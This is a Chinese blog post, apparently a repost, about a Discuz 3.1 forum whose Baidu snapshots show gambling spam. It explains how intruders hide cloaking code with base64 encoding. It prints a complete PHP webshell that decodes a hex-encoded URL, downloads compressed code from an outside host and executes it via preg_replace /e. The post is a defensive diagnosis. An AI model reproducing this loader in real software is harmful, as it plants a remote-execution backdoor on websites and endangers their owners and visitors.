discuz 3.1论坛快照被百度劫持解决方案

最近很郁闷,遇到一个很棘手的问题。我们公司有个论坛在百度查看快照信息的时候全部都是博彩信息,但是打开却无博彩信息显示。在快照中查看是这样的

百度快照查看图:

经过思考,怀疑是网站中有网页被改动了,在某页面加了判断,如果来源为搜索引擎的抓取就显示博彩信息。但是使用editplus文件搜索如: baiduspiderhttp等也无效。通过百度搜索别人也遇到相似的问题,入侵者将要写入的信息加密,通过通用的关键字是搜索不到的。就查找php的加密方法,但然肯定是可以解密的加密方法

1、base64加密

string base64_encode ( string $data )

使用 base64 对 data 进行编码。

设计此种编码是为了使二进制数据可以通过非纯 8-bit 的传输层传输,例如电子邮件的主体。

Base64-encoded 数据要比原始数据多占用 33% 左右的空间。

string base64_decode ( string $data [, bool $strict = false ] )

对 base64 编码的 data 进行解码。

参数

data -- 编码过的数据。

strict -- 如果输入的数据超出了 base64 字母表,则返回 FALSE。

我遇到的就是这种情况

2、使用对称加密方法

Webshell代码如下:

1
2
3
4
5
6
7
8
9
<?php
error_reporting(0);
session_start();
header("Content-type:text/html;charset=utf-8");if(empty($_SESSION['api']))
$_SESSION['api']=substr(file_get_contents(
sprintf('%s?%s',pack("H*",
'687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067′),uniqid())),3649);
@preg_replace("~(.*)~ies",gzuncompress($_SESSION['api']),null);
?>

关键看下面这句代码,

1
sprintf('%s?%s',pack("H*",'687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067′),uniqid())

这里执行之后其实是一张图片,解密出来的图片地址如下:

http://7shell.googlecode.com/svn/make.jpg?53280b00f1e85

更多参考:http://drops.wooyun.org/papers/1215

原文地址:https://www.cnblogs.com/fogwang/p/5502499.html